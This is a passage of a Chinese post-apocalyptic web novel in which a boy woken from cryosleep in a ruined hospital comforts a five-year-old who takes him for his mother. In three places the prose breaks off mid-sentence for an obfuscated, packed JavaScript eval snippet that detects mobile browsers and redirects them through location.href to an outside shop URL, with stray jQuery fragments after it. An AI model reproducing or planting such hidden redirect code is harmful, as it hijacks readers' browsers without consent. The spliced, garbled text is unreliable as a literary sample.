但现在他看出去,外面一片漆黑,像死水一样,是那种连物品反光都没有,彻彻底底的黑暗。 寂染从没见过这样的景色。 之前他只以为是因为医院坍塌了,光线被碎石和外墙疯长的藤蔓遮住。 可未免也太黑了,像是那种把空气都凝固的黑,仿佛整栋医院都被巨大的黑罩子罩住。 寂染站起身来,他想弄明白到底怎么回事,正好幕墙大部分的玻璃都脱落掉了,只剩下锈迹斑斑的框架。 外面不知道藏着什么,他不敢把头探出去,只是举起手电筒,把光照向天空。 可手电的光源实在太弱,他无论照哪个方向,光源都很微弱,根本无法刺透浓重的黑暗。 照不出天空的模样,也看不到地面的样子。 寂染凝视着在黑暗上那一点微弱的光斑,心想,或许该等到明天白天。 退开两步,在光源晃动间,他在窗户玻璃的光源反射下,意外看到了自己——消瘦,单薄,还很脏。 他脸上全是蹭到的灰印,有汗水的地方还糊成了泥团,白色的病服也布满深一道浅一道的污渍。 而没有修理过的头发也垂到腰部以下,他找不到绳子和剪刀,只能把头发塞进衣服里。 一开始很不舒服,身上变得奇痒无比,可能这几天皮肤起了一层垢,反而没那么不舒服。 他对着玻璃,把头发从衣服里扒拉出来,又长又凌乱的头发一下遮住了脸颊。 这种时候,洗头是一种奢侈,他自然没洗过,头发上起的油已经把头发压住,紧紧地贴在头皮上。 在诡异的灯光里,寂染觉得自己看起来就像从电视里走出来的贞子——和他记忆里的自己完全不一样了。 他以前热衷打篮球,学球星剃了平头,而腿上和胳膊上都有不明显却结实的肌肉。 不像现在,皮肤苍白,肌肉萎缩,他像个只剩下一张皮的人体骨架。 再也回不到过去了…… 叹了口气,寂染慢慢扶着墙,踉踉跄跄往回走。 刚走了两步,忽然,寂染动作停住——他好像……隐约间听到了小孩的哭声。 8. 找妈妈的路上(八) 在寂染起身收拾东西的时候,星岑就醒了。他不敢动,只是把脸埋进毯子里,偷偷露出一双眼睛看他。 而当寂染把光耀战士拿过来的时候,他又赶紧把脸埋进毯子里。像在玩捉迷藏一样,偷偷摸摸的。 他心里直乐,直到听见关门声,他才猛然间意识到不对,连忙掀开毯子,从地上坐起来。 星岑目不转睛地盯着紧闭的门,当听到外面响起车轮移动的声音,他的心一下慌了起来——妈妈要走了,就像之前数次一样。 意识到这一点,星岑连忙拿起身旁的奥特曼,从地上一骨碌爬了起来。 可刚一站起来,就想起以前被拦住的经历,他又犹豫了,他不想再被白大褂叔叔们抓住责骂。 “妈妈……” 他眼巴巴地盯着大门,小声地喊着。 他喊了好几声,声音一声比一声大,然而外面一直没有回应,甚至连那点动静也消失了。 这时候,星岑再也忍不住了。他猛地扔下手里的光耀战士,冲到门边,使出全身力气朝门板捶去,同时发出撕心裂肺地一声喊:“妈妈——” * 寂染回到房间,就看见男孩侧身躺在地上,闭着眼睛,默默地流泪,手里还捏着他盖过的毯子。 十分宝贝的光耀战士,被扔到了一边,已经头身分离。 寂染有些手足无措,他在男孩身前蹲下,试探着喊出名字:“星……星岑?” 星岑一下睁开眼,看见他的瞬间,眼睛迸发出光来。 他放下毯子,坐起身,然后就着跪着的姿势,快速挪了两下,等到寂染跟前,又小心翼翼地抬起头,很轻地唤道:“妈妈……” 寂染心里正又酸又胀,非常不是滋味,正想安慰两句,却冷不丁听到星岑的称呼,他直接话音一转,不可置信地提高了声量:“你喊我什么?” “妈妈!” 寂染难以置信,他指了指自己。这个称呼是任何一个十四岁少年,都绝对无法接受的! 他简直疑心这是有人为了看他出糗,故意开的玩笑。 但这没有第三个人,而星岑也一脸认真。寂染只听说过动物会有雏鸟情节乱认妈的,可从没见过人也这样,关键性别也不对啊。 寂染深吸一口气,挺起自己扁平的胸膛,大力拍了两下,故意粗着嗓子说:“我,男的,做不了妈妈!” 但星岑很固执,认定他是妈妈,指他长头发:“妈妈!” 寂染泄气:“你几岁了,怎么连男女都分不清?” “五岁。”星岑伸出手,却比了个四。 寂染选择放弃,他没办法和一个连数字都比不对的五岁小孩说清楚。 他把星岑压住的拇指拉起去:“这才是五。” 随后泄气般直接命令道:“以后不准喊我妈妈,要叫我哥哥。” 星岑依旧举着五个指头,认真地点头:“好的,妈妈。” 寂染:“不是妈妈,是哥哥!” 星岑摇头,无比认真地指着他头发:“是妈妈。” “……”寂染绝望地扶住额头,“救命!” 哭了一晚上,星岑的嗓子已经哑了。 寂染听得难受,就把打开的葡萄糖水递给他,看他捧着瓶子,大口喝的时候,他突然问:“好喝吗?” 星岑眯着眼点头。 “当然好喝。”寂染狡猾地眨了眨眼睛,拉长声音说,“因为是‘哥哥’我,拿给你的。” 星岑愣了一下,停下喝水的动作,茫然地看向他,看到寂染把手指着自己,他忽然恍然大悟,用破风箱似的嗓子提高音量喊:“谢谢妈妈!” “……” 寂染觉得这孩子智商多半不高。 不过更大可能是,小孩担心自己会被丢掉,所以才会这样喊他。 毕竟,小孩只有五岁,很难理解醒来后的世界。 而寂染是他见到过的唯一人类,所以小孩把他当作成唯一的依靠。 至于随便认妈,估计出于人类的生存本能,就像被猩猩抚养的泰山,被野狼哺育的狼孩,都用自己可爱的外表和稚嫩的动作话语,去激发雌性的育幼本能。 寂染努力合理化星岑的行为。 可问题是……他不是女的,而且年纪也不大,他对于能见到同类,一样很激动,但这不意味着他打算认个儿子啊。 而且,被喊作妈妈,对他而言,也很难接受。 因为妈妈这个称呼对寂染也很重要,他也无时不刻在思念自己的妈妈。 想起妈妈,寂染的眼睛不由自主有些发涩。 那个塌陷到地底的天坑,小舅舅从未放弃过搜救,因为那里不仅有寂染的爸爸妈妈,还有外公外婆。 在那场可怕的灾难里,几乎所有的至亲好友全都掉了下去。 可直到寂染醒来,都不知道结果是什么。 他眨了眨眼睛,把眼泪逼回去。目光落到在用勺子挖罐头吃的星岑。想到接下来要问的问题,他有些着急。 他往小孩身边挪了挪,坐到他身边,把手放在他身后,轻声问:“星星,哥哥能问你几个问题吗?” 星岑点头,然后纠正他:“是岑岑,不是星星。” 小孩对自己的称呼非常执拗,按道理,在上小学前,孩子们更爱用小名做昵称。所以在一个五岁的小屁孩心里,小名可是不能随便乱叫的。 “好的,星星。”寂染报复心突起,决定让他提前体验大人的险恶。 星岑不高兴地皱起鼻,连勺子都放下了,望着他说:“是岑,岑岑,代表小山的岑。” “嗯嗯,我知道了。”寂染敷衍地点了两下头,然后又淡淡道,“小星星。” 星岑张大嘴看向他,寂染当作看不见,继续不停地喊:“星星星星。” 过了一阵,星岑咬紧下唇,有些委屈地低下头,很小声地嘟囔:“明明是岑。” “委屈了?”寂染问。 不问还好,一问星岑觉得更加委屈,眼睛都红了。 “你看,我喊你星星,你不高兴,那我一直让你喊我哥哥,你又不喊,还老叫错,你觉得我高兴吗?”寂染换了个将心比心的策略来讲道理。 星岑皱起了眉头:“可是……” “你看清楚。”寂染把头发撩起来,沾了点酒精,把脏兮兮的脸大致擦了擦,然后转过头让星岑看清楚,“我是男的,是哥哥。” 星岑愣了一下,睁大的眼睛盯着寂染的脸。寂染知道他在比较,把头发又撩高了一点,重复道:“是哥哥。” 星岑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240339|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着他,看了许久,忽然寂染发现,星岑的眼睛红了。 只一眨眼,里面就蓄满了泪水。 星岑颤抖着伸出手,捧住寂染的脸,哑着声小声喊:“妈妈。” 寂染心里难受起来,感觉自己的眼眶也跟着发热。 但他还是狠下心来,抓着星岑的手,让他摸自己的五官,坚定地说:“不是妈妈,是哥哥。” 星岑愣愣地看着他,随后眼泪从眼眶掉下来,他紧紧握住拳头,把脸撇到一边,泪水瞬间抑制不住,一连串地落在毯子上,啪嗒啪嗒的,洇出一小块黑点。 寂染一下有些不知所措,他找了几张纸,想给星岑擦干,却被星岑打掉。 寂染一愣,只听星岑用破风箱一样的声音,突然生气大喊道:“滚开,你不是我的妈妈!” 寂染深吸一口气,把地上的卫生纸捡起来,然后用力抓出星岑的胳膊,强迫他扭过头,粗暴地拿纸去擦他的脸。 星岑拼命挣扎,撕心裂肺地尖叫,别看他小,力气可非常大。只是一个简单的动作,就弄得寂染气喘吁吁。 寂染把脏掉的纸扔在地上,不再管他,任他在地上哭闹,自己则直接站起身,从他身上跨过去。 星岑滑倒在地,他躺在地上,两条腿拼命蹬着,还在撕心裂肺地嚎叫,一边喊妈妈,一边又喊你不是我的妈妈。 小孩的声音就算嗓子破了,还是又尖又厉,听得寂染耳膜发疼。 他扯了点棉花,堵在耳朵里,然后坐到小孩对面,去修被摔坏的玩具模型。 回忆着以前手工课的内容,他从自己那堆拆卸下来的破烂里,找了个大小合适的钉子,用它把玩具断掉的脑袋牢牢固定在身体上。 弄好后,他再抬起头,就看到星岑的吵闹停止了。 他脸朝上,大字型地躺在地上,用哭肿的眼睛盯着天花板,不知道在想什么。 寂染沉默地盯着他看了一会,看到他平静下来,但嘴仍旧张张合合,不是那种大喊大叫,而好像在说了什么。 于是寂染把模型放下,取下耳朵里塞着的棉花,刚站起身,他就听到星岑用破碎的嗓音,嘶哑着低声说道:“妈妈不要我了,我没有妈妈了。” 寂染停下脚步,他愣愣地看着星岑,忽然感觉自己做错了。 星岑不再说话了,他就盯着天花板发愣。 寂染深深吸了口气,走到星岑身旁,低下头,放轻声音说:“对不起。” 星岑没有反应。 寂染坐到他身边,认真思考了下,叹气道:“你如果想,也可以叫我妈妈。” “你不是我妈妈。”星岑的声音很平静,他像是用力过度,现在连调动情绪都困难起来,只能发出很小的声音,“你只是头发长,才不是我的妈妈。” 寂染沉默地盯着他,看了好一会儿,嘴里苦涩起来。 但他笑了一下,从地上爬起来,走到打包的物资前,边拿东西,边说:“要不要玩玩具,我拿下来很多,还是你要听讲故事……” 星岑把头转过来,看向他的背影,忽然,他喊了寂染:“哥哥。” 寂染一愣,回过身看他。 星岑利索地爬起来,用手背使劲擦了两下眼睛,然后很乖巧地叫他:“哥哥,你能带我见妈妈吗?” 9. 找妈妈的路上(九) 寂染一下僵住,他好像没听明白,有点傻地快速眨了几下眼睛,问:“什么?” “哥哥,我会很乖的。”星岑异常的平静,好像之前号啕大哭喊妈妈的并不是他。他看着寂染,眼角下垂,带有一点哀求的语气说,“让我见见妈妈吧。” “我……”寂染突然间不知道该说什么,他不能告诉星岑,你妈妈很可能已经不在了,至少不是现在还活着。 就算说了,小孩子能懂死亡的含义吗? 星岑走到他身边,扯住他的裤腿,轻轻拽了拽:“你们答应好的。” 你们? 寂染更加听不明白。 星岑见他仍旧不答应,立刻心急起来:“你们明明说过,只要做完手术,我就能见到妈妈了。” 寂染低下头,和他对视。 星岑睁大眼睛,又问:“手术做完了,可妈妈呢?” 说着,他又忍不住着急起来:“你们说话不算数,你们都有妈妈,却总拦着我,不让我看妈妈!” 寂染抿紧嘴,片刻之后,他眨眼,眼泪无声掉落,正好砸在星岑仰起的脸上。 星岑一愣,搞不清怎么回事,他想起刚才看到寂染掉泪的样子,想伸手去摸,却被寂染一把拉住,紧紧地抱在了怀里。 寂染用的力气很大,手背都暴起了青筋,几乎让星岑的骨头错位发疼,但他没有挣扎,反而呆愣了一下后,就把脸埋在寂染的颈窝上,动作很轻地拍他背:“不哭,不哭,哥哥不哭。” 随后,只听他用稚嫩的话语,迟疑地问:“他们也不让你见妈妈吗?” 只一句,寂染哭得更厉害了。 星岑手不停拍着他的背,眼睛盯着地板,可能懵懂间他突然顿悟了什么,两三秒后,轻轻叹了口气。 过了好一阵,寂染才终于平静下来,他尽力平复了自己的情绪,闭着眼,靠在星岑的颈窝里轻轻抽气。 他觉得自己有点丢脸,居然会突然情绪激烈起来,在小孩面前哭了。 只是刚才某一个瞬间,他觉得,自己和这孩子很像。 那场事故后,他丧失了做人尊严,成了个只能喘气的活死人,连上厕所都需要别人帮助,这对他无疑是羞耻的。 他绝望,悲痛,愤怒,每天在什么也看不到的黑暗世界里像疯子一样乱叫,扔掉自己所有碰到的东西,甚至还开始想办法自残。 但小舅舅给他一些朦胧的希望,告诉他,探测器传来了消息,似乎深渊里还有生命的迹象…… 那时候他总是期待着小舅舅出现,可以带来救援最新的进展。 所以他愿意配合医生,好让自己活得更长一些。他一直在期待,期待重获光明时,能看到深渊里救回来的人们,而他的父母,也许就在其中。 只是一个善意的谎言,就让他从最艰难的时刻挺了过来。 ……一个谎言。 几个呼吸的时间,突然寂染想到了一个很好的答案,于是他开口,声音嘶哑地说:“你妈妈她——” 星岑猛然看向他。 寂染嗓音逐渐清晰起来,他说:“原本是能见到的,只是发生地震了,周围的房子塌掉,路也断了,你妈妈过不来——你知道什么是地震吗?” 星岑当然知道地震,他玩外公手机的时候,刷到过影视剪辑的短视频——地动山摇,道路断裂出巨大的裂缝,房子像积木一样成堆地倒下,人们一边尖叫一边狂跑,却在下一秒被掀起的路面吞噬。 想起视频里翻天覆地的骇人画面,星岑连脸色都变得苍白起来。 他不由自主攥紧了寂染的袖子,仿佛在怕房子会突然开始摇晃起来。 “不用害怕,地震已经结束了。”寂染看明白他神情中的恐惧,拿起卫生纸,仔细擦掉他脸上的泪痕,然后咧开嘴,露出两颗小虎牙,看起来很灿烂地笑起来,“我会带你去找她的,翻出这座医院,然后走到国道,顺着公路往前走,去城市里……直到找到避难所。或许要花一些时间,但没关系,我们有很多时间,总能找到他们的。” 星岑听着他的话,眼睛都亮了起来。 “但你要保证,”寂染直起身,神情又严肃起来,他戳了戳星岑的小胸膛,一本正经地说,“以后你都要乖乖听哥哥的话,哥哥叫做什么,就做什么,绝对再也不能像刚才一样又哭又闹,知道吗?” 星岑连忙点起头,他学着大人发誓,竖起手掌,语气郑重道:“我发誓,以后一定听哥哥的话。” 寂染看他故意板起脸来模仿大人严肃的表情,忍不住笑出声来。 他丢掉脏了的纸,然后再次伸手,把星岑的拇指和小指头合上,说:“这才是指天发誓。” 离开医院自然是骗小孩的。 他们所在的安全屋不仅有电,还有充足的物资,材料也非常坚固,简直就像个防御碉堡,就连怪物都进不来,傻子才会离开。 但这些道理跟星岑讲不通的,于是寂染换了个带有童话色彩的说法,直接无耻地改编了七龙珠的故事。 他告诉星岑,想要离开没问题。但需要在医院里找到传说中的七把钥匙,才能召唤出医院的大门,然后离开这里。 看星岑真的信以为真,也冷静下来,寂染把没吃完的罐头再递给他,同时给自己打开一包营养液,缩着两颊慢慢吸。 星岑吃东西很乖,不像其他孩子要爷爷奶奶跟在后面哄,自己拿起勺就吃,把腮帮子装得鼓鼓的,再认真地咀嚼,还知道在沾油的时候用纸擦嘴。 他可能是第一次吃到罐头,第一口,就震惊地睁大眼睛,然后感叹着说:“天呐,怎么有这么好吃的东西。” 罐头是寂染昨天从楼上找到的,是腌制过的海鱼,只有一个。味道估计偏咸,星岑每吃一口,就要就着一大口葡萄糖液,然后鼓起两腮,用力嚼着,看起来挺有仪式感。 星岑吃得很香。 寂染看了一眼,就不自觉咽了口吐沫。 他强迫自己转移注意力,集中精力在刚才修好的玩具模型上——钉子的固定还是比不上胶水,轻轻晃两下,就又有点歪了,所以他打算在钉子外面加一圈橡皮筋,这样可以增加阻力。 努力吸了一大口,米糊味的营养液吃完了,寂染恋恋不舍地咂咂嘴,把空下来的袋子扔一边,开始往钉子上套橡皮筋。 这时候,星岑突然举起盛满鱼肉的勺子,朝寂染递过来:“哥哥你也尝尝,超级好吃!” 寂染愣了一下,随即摇头:“我吃饱了,你自己吃。” 星岑坚持举着手,还从地上爬起来,把勺子颤颤巍巍递到他的嘴边:“就尝一下,超级好吃的。” 寂染只好张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240340|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,但没碰到勺子,只把上面那一层油和豆豉吃掉。 寂染没尝出什么味,但看星岑期待地盯着他看,便露出个笑,夸赞道:“很好吃。”说完,又连忙补充:“我吃不下了,你自己吃。” 星岑心满意足地收回手,把勺子剩下的肉含进嘴里,高兴地弯起眼睛:“是吧,真的很好吃,我从还没吃过这么好吃的东西。” 听到这话,寂染心里突然不是滋味——星岑还那么小,连罐头都没吃过,就要以后跟着自己过着朝不保夕、只能吃营养液的日子。 “要是真的能找到避难所就好了。”他心里默默想着。 五六分钟后,星岑终于吃完了,寂染听到他打了个嗝,抬起头,就看见他把罐头贴在脸上,用舌头去舔上面剩下的油。 等罐头拿下来,星岑意犹未尽,一张小脸却沾满了油花。 原本不怎么干净的脸,现在脏得跟小丑似的——东一块油花,西一块黑泥,还能看到几片辣椒皮做点缀。 寂染再不拘小节,这会儿也忍无可忍。 油污混合物想用卫生纸清理掉极难,加上驱之不散的鱼腥味,寂染咬牙决定浪费掉一瓶500ML的酒精。 “星岑过来,我给你擦擦脸。”寂染拿来一瓶酒精和一些散装纱布,示意星岑坐到面前来。 星岑乖乖地走到他面前,眼睛却偷偷瞥着修好的光耀战士模型,想拿但不敢拿。 “以后不准摔东西。”寂染故意黑着脸,语气严厉地威胁他。 星岑连忙点头,小声说:“我不是故意的,就起来时候踩到了……” “要保护好他知道吗,你是他在这里他唯一的朋友。”寂染把模型递给他,看星岑郑重其事地接过,然后用力朝他点头,才满意地把浸湿的纱布举起来,“星岑,过来擦脸。” 星岑立即仰起脸,把眼睛死死闭上。 寂染先用卫生纸把油和辣椒皮清理掉,然后用沾了酒精的纱布仔细擦着星岑的脸。 星岑五官很精致,像收藏家珍藏的陶瓷娃娃一样漂亮,眼睛大而深邃,睫毛浓密卷翘,鼻梁已经有了微挺的轮廓,不像是单纯的东方人,可能混有西方的血统,瞳孔是很稀奇的紫色。 寂染不清楚所在的医院在哪里,但星岑说的语言和他是同一种。 他扔掉擦脏的纱布,换另一张浸湿酒精,擦星岑的脖子和背,脑子里却在想刚才被打断的问题。 “星岑,你还记得你是哪年来的医院吗?” “我从小就在医院啊。”星岑眨眨眼睛,态度理所当然,他显然是不记得时间的。 寂染心里更加不是滋味,他早该想到,如果不是出生就得了重病,谁会把孩子冷冻起来,估计是那时候根本无法治疗的绝症。 可寂染总觉得有些不对,但却说不上来究竟哪里不对。 “那你爸爸妈妈是做什么的?你要说详细些,这样哥哥才好帮你找他们。” 星岑闻言皱起脸,绞尽脑汁地回忆。 这时候寂染开始擦他的背,发现他的后腰到腹部的位置有几个圆圈状的胎记,或者是早就愈合的疤痕,已经和其他部位的皮肤融为一体,只有一点隆起的痕迹。 其他部位还有许多深黑色的血迹,用酒精一擦,就由黑变成深红色。 越擦,寂染就越心惊。 10. 找妈妈的路上(十) 不知道这孩子遭遇过什么,浑身上下布满了各种伤口。有些是发青发紫的磕碰伤,有些是不知道哪里剐蹭到的细碎小口。 尤其是脚掌,在没有穿鞋的情况下,男孩曾在布满玻璃渣和锐利石子的废墟里奔跑过,留下数道纵横交错渗着鲜血的割伤,露出里面粉色的嫩肉,还沾着黏糊糊的灰尘。 寂染动作不由得放轻了些,小心用镊子和棉签清理干净,再用酒精消毒,撒上药粉,拿纱布包扎好。 星岑没有喊过疼,他还在认真思考,去回答寂染的问题。 “妈妈爸爸都很忙,他们总是全世界飞,工作应该是‘出差’。”星岑不清楚出差的含义,他只记得每次问爸爸妈妈,得到的回答都是“他们在出差”,所以他理所应当地认为出差和医生警察一样,就是某种职业。 “我只能跟着外公,外公就在这里工作,他的办公室就在医院楼顶,有很大的一间,不忙的时候就会陪我玩,还会给我讲故事。” “有时候我想爸爸妈妈,想得要哭,外公就会说,他们在拯救世界,像光耀战士一样,和怪兽搏斗!就像这样——”星岑举起光耀战士的模型,嘴里一边发出呜呜声,一边让它在空中来回地飞,然后对准大门,“biu-biu-”两声。 星岑的逻辑和语言很混乱,可能和寂染一样,记忆没有全部恢复,年龄也太小,很难理解寂染的问题,每次说着总能跑偏,开始混合一些童话故事。 寂染没问出什么,但星岑对医院的环境很熟悉,告诉寂染怎么去他外公的办公室。 寂染把星岑擦干净,让他自己去选衣服,自己则用用过的纱布擦脚和腿。 “哥哥,这好像都是我的衣服?”星岑从包裹里翻出衣服,惊喜地问。 寂染“嗯”了一声:“你妈妈收好的……自己会穿吗?” 星岑点头,心情很好地哼起歌,但调子很奇怪,偶尔到某个节点,会突然大喊几个词。 这孩子实在太五音不全,参加歌唱团估计都是把所有人带跑调的那种,寂染完全听不懂他在唱什么。 但寂染没打断他,比起之前那种可怕的死寂,再难听的曲调也变得动听了。 等寂染用最后一点酒精,把脸擦干净,星岑已经乖乖地换好衣服。 寂染看了一眼,就愣住了,因为那套衣服正是他之前在楼上选好放在睡眠舱里的。 星岑穿起来,就像橱窗里摆放的陶瓷娃娃,一下整个人都生动起来。 星岑看他也是一愣,随后走到他面前,仔细看他擦掉灰的脸,飞快地眨了眨眼睛,之后用不太肯定的语气说:“哥哥,我好像见过你。” 寂染瞬间回神,好奇地问:“在哪里?” 星岑把眉头蹙起,很努力地回忆下,然后抬头,看向银色的睡眠舱:“好像这里,就在这里。” 寂染顺着他视线看过去,睡眠舱的金属曲面面板露出两个人一大一小拉长的怪影。 * 星岑的记忆里,寂染是沉睡着的,只是那时候他没有头发,身上插着管。 那天医院闹哄哄的,很热闹,没有人看到偷溜进安全屋的星岑。 星岑个头太小了,他背着一个占了一半身体的大背包,里面装着的是故事书、画本、玩具,还有一盒彩色蜡笔。 星岑对像巨蛋一样悬挂在半空中的睡眠舱感到好奇,他把脚蹬在放仪器的架子上,然后爬了上去,透过透明的遮挡物看向沉睡的寂染。 那是星岑第一次见到寂染,不知道怎么了,平时不爱乱摸乱动被称为好孩子的他,内心突然涌出某种难以名状的冲动,他想更近距离地看这个人。于是他鬼使神差地伸出手,伸手想去按响冷冻舱旁红色的警示按钮。 当然没有成功,后来他为此挨了顿打,所以记忆要深刻得多。 * 躺在用毯子铺的临时地铺上,星岑挨着寂染,突然小声问:“哥哥,你得的是什么病?” 寂染不知道该怎么描述,想起最后的状态,他说:“脑袋里有个血块。” 星岑眼睛一下亮了起来:“我也是。” 寂染看向他。 星岑指着自己的脑袋说:“里面长了个肉瘤,所以我站不稳,老是摔跤。” “我听医生说,那个肉瘤是水母,但现在那只水母跑掉了,所以我又能走了。” 寂染本来昏昏欲睡,突然间瞳孔一缩,不知道想到什么,猛地从地上坐起。 星岑吓了一跳,也跟着坐起来,不安地问:“哥哥怎么了?” 寂染脸色不太好,他摇摇头,不知道在想什么,但手上动作没停,他按住星岑的胳膊,让他把头转了个方向:“让哥哥看看你的头。” 星岑茫然地转过头,感觉自己的头发不停被扒开,他突然有些不安,小声喊:“哥哥?” “没有做开颅手术吗?”寂染低沉的声音从背后传来。 星岑听不懂什么是开颅,他无措地想回头,但被寂染按住了肩膀。 他感觉寂染的手在一寸寸触摸着他的头皮,这感觉倒是不难受,甚至有些酥酥麻麻的舒服。 精神放松下来后,星岑困顿地打了个哈欠,接着,寂染的动作停了。 星岑努力睁开眼,看向他。 就见寂染眼中充满困惑,并用一种审视的目光打量他。 星岑又开始不安,他用力眨眼睛,小声问:“哥哥,怎么了?” “没什么,”寂染摇头,他再次躺回床里,然后拍拍另一边,说:“睡吧。” 星岑忐忑不安地躺下。 这时,寂染又起身,走到门边把灯关掉,屋内一片漆黑。 黑暗中,星岑紧张地捏紧毯子,感觉寂染走到他身旁,然后躺下。他连忙凑了上去,把肚皮紧紧贴在寂染的手臂上。 就听寂染轻声说:“晚安。” 星岑原本还想说话,可那个词像睡眠魔咒,意识瞬间模糊了起来,很快就打起平缓的呼噜睡着了。 寂染的头枕在胳膊上,在黑暗里没有闭上眼。 就在刚才,他终于感觉到哪里不对劲了。 他很仔细检查了星岑的头,他很确定,那上面一点手术痕迹都没有,但星岑哭闹的时候却说自己昏迷前做了手术。 那说明,很有可能意外就发生在星岑正准备做手术的前一刻。 那他的病是怎么好的呢? 他们之所以被冷冻,是因为都患有当时无法治疗的绝症,所以他们的亲人才把他们冷冻起来。期待未来有一天,医疗科技技术会得到飞跃性的发展,然后他们就能被解冻复活并成功治愈。 可等他们醒过来,医院已经毁掉了。 而且看医院里植物生长情况,这里变作废墟已经度过了相当长的一段时间。 没有人会留下。 也就不可能有医生团队给他们做手术。 可等他们醒过来,自己的病居然奇迹般的都好了,仿佛不治而愈。 这个事实完全超出寂染理解能力,充满了离奇和诡异,让寂染充满了恐惧和不安。 他原本以为,找到星岑能找到些许答案,却没想到获得了更大的疑团。 明明这里没有任何人,那他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240341|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被谁唤醒的呢? ——未知是最大的恐惧。 莫名的,寂染突然想起了这句话,这里到底发生了什么,如果有人活着,为什么这么久没有救援队来救援。 如果救援队来过,也有医疗团队帮忙治疗唤醒了他们,那这些人呢? 怎么会丝毫痕迹都不曾留下? 便签上明明说这是最后的人类堡垒,可为什么连一点关于灾难的信息都没有找到。 消失的人类,可怕的怪物,还有不治而愈的疾病……冒出来的疑团越来越多。 寂染忽然打了个寒颤,他紧紧圈住星岑柔软的身体,对世界充满了惶恐和焦虑。 * “嘀嘀嘀——” 寂染被手表的闹铃吵醒,他翻身起来第一件事,就是跑到昨天晚上的楼梯间去看外面的情况。 但等他蹑手蹑脚走到门口,外面却没有一丝光亮。 他再次看了眼时间,早上八点,正是太阳初升,万物复苏的时候,废墟般的医院却仍旧一片漆黑,是那种浓稠化不开般的黑暗。 还静得出奇。 这种安静好像无论是里面还是外面,都没有任何活物,在一片黑暗又死寂的废墟里。 昨天那关于医院被罩起来的荒谬的猜想,又从寂染的脑海里浮现出来。 那当然不合逻辑,就像怪物的出现,绝症不治而愈,人类消失,都像做梦一样不切实际,宛如圣经里描绘的地狱,无人踏足的深渊。 没准他真的已经死了,这里就是死后的地狱,他的灵魂像地缚灵一样被困在医院内。 小孩只是臆想出来的假象,而怪物则是主宰这里的死神,对犯了罪的他施加的惩罚。 胡思乱想的寂染心沉到谷底,他深吸一口气,用力甩头丢掉那些荒谬的幻想。 回头,看到星岑在被窝里翻了个身,睡得正熟。 没作声响,寂染轻轻关上门。 确认大门关好,他屏气凝神,快速走到拐角的楼梯间,找到昨晚那块破碎的落地窗,打开了手电筒。 手电筒的光线笔直地射出去,但不到一米远,就被涌上来的黑暗吞噬了。 无论哪个角度,视野里都是黑暗。 寂染不死心,他从地上捡起一颗石子,猛地朝外投去。 紧接着,一声闷响,石子落地。 像是落在柔软的东西上,声音沉闷并不清脆,但寂染心底的慌乱却消失了不少。 至少外面有路,有可以出去的路,那就意味着不是地狱,他是真实存在的,而且还活得好好的。 他又一连扔了好多个,由近到远。 在他用尽全身力气,咬紧牙最后一掷时,那石子不知道撞到什么,发出一声清晰的脆响。 还不等他兴奋,下一秒,古怪的事情发生了。 原本黑暗的世界,突然亮起一束刺眼的白光,从头顶洒落下来,那道光原本有些弱,但不到十几秒,便强到把周围都照亮了。 寂染强忍着眼睛的不适,朝外瞥了一眼,就见到野草疯长的残垣断壁。 彼时平坦的路面从中撕裂,石板翘起,或者碎成粉渣,数条深褐色的裂痕绵延到光线的尽头。 紧接着,轻微的嗡鸣声从头顶传来。那声音像是从天空的尽头传来,不过瞬息之间,声音就变成轰隆巨响,仿佛成千上万头红了眼的公牛疯狂朝下狂奔。 而路面低矮的灌木丛此时像被强风席卷,全被吹得东倒西歪,树叶哗啦啦作响。 像是有什么庞大的东西由天而降。 转瞬之间,寂染脸色大变。 11. 找妈妈的路上(十一) 转瞬之间,寂染脸色大变。 他转身就想跑,下一秒,震动和轰鸣声同时响起,地面腾起漫天的尘埃。 此时,光线投到了地上,寂染惊骇中看到了一个巨大的影子,像一条在翻滚扭曲身体的长蛇。 寂染骤然屏住了呼吸。 什么东西掉下来了! 一切发生得太快了,在破风声中,巨大的冲击袭向地面,他下意识抱住头,紧接着幕墙的玻璃“呯呯”爆炸,无数碎片闪烁着钻石般光芒,就像骤雨般倾盆砸下。 那股突如其来的巨力将寂染掀翻在地,一旁的轮椅歪倒下来,把寂染死死压在了下面。 寂染紧紧闭上眼。 他在心里数数。 一秒,两秒,还是三秒? 他在猜测生命即将终止的时间。 但当他数到了六十,预想中摧毁一切的塌陷没有袭来。 寂染悄悄睁开眼,除开震碎的玻璃,那堆在废墟中艰难支撑建筑的断柱残墙还顽强地立在原处,医院暂时还算安全。 